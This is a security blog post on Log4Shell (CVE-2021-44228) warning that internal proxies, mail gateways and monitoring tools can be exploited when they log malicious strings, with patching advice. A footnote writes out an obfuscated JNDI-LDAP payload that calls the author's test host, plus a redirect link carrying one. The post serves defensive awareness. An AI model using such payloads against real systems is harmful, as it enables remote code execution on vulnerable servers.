Log4Shell Could Be Exploited From Your Network

Log4Shell and LogJam are the names for a Log4j vulnerability.

Log4j is a logging library for Java that was patched on 2021-12-06 and extensively exploited from 2021-12-10 (so not a zero-day!) as the news of the vulnerability travelled.

The vulnerability, with the CVE designation CVE-2021-44228, is far-reaching as Log4j is a very popular logging library and Java is everywhere.

I highly recommend checking out Microsoft’s blog post, particularly the succinct list of workarounds if you can’t patch.

So, while externally-facing visible infrastructure is an obvious first choice to investigate and remediate, don’t overlook what’s possible from your network.

There are many devices and client applications that users and systems interact with as their connections transverse and exit your network. Consider proxies, mail gateways, and security tooling.

Imagine a phishing email containing the following link ¹:

https[:]//google.com/%24%7B%24%7B%3A%3A%2Dj%7D%24%7B%3A%3A%2Dn%7D%24%7B%3A%3A%2Dd%7D%24%7B%3A%3A%2Di%7D%3A%24%7B%3A%3A%2Dl%7D%24%7B%3A%3A%2Dd%7D%24%7B%3A%3A%2Da%7D%24%7B%3A%3A%2Dp%7D%3A%2F%2Flong-encoded-uri-from-blog.vulnerable.olliejc.uk%2Fa%7D

It’s Google, right? It’s fine. Except, that entire URL could get logged in a host-based web monitoring tool (anti-virus or similar), logged as it goes out via a proxy, or when the proxy or host-based tool sends its logs to the security information and event management (SIEM) tool.

Files and attachments could get logged to a system, either directly through the operating system or through host-based monitoring (although, I would be quite surprised if something decided to URL decoded a filename before logging).

Redirected URLs or chained cross-site scripting (XSS) could lead to a malicious URL being visited and again picked up by host or network monitoring.

For example, https://olliejc.uk/web-testing?test=9ced-1bdade435376 redirects to a URL with a Log4shell string in.

Takeaways

Do not discount your internal network, infrastructure and services.

As soon as you’re reasonably confident you’ve patched and mitigated public components or when you’re waiting on suppliers and vendors, get started on applying updates and patches for all your internal software.

To help discover what your supply chain are saying, there’s a great resource of vendors and providers bulletins being curated by @SwitHak on GitHub:
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Thanks for reading!
Ollie

---

Footnotes

¹ To save you the hassle of running that string through CyberChef it URL decodes to:

https[:]//google.com/${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://long-encoded-uri-from-blog.vulnerable.olliejc.uk/a}

Which in turn would get expanded to the following on a vulnerable component:

https[:]//google.com/${jndi:ldap://long-encoded-uri-from-blog.vulnerable.olliejc.uk/a}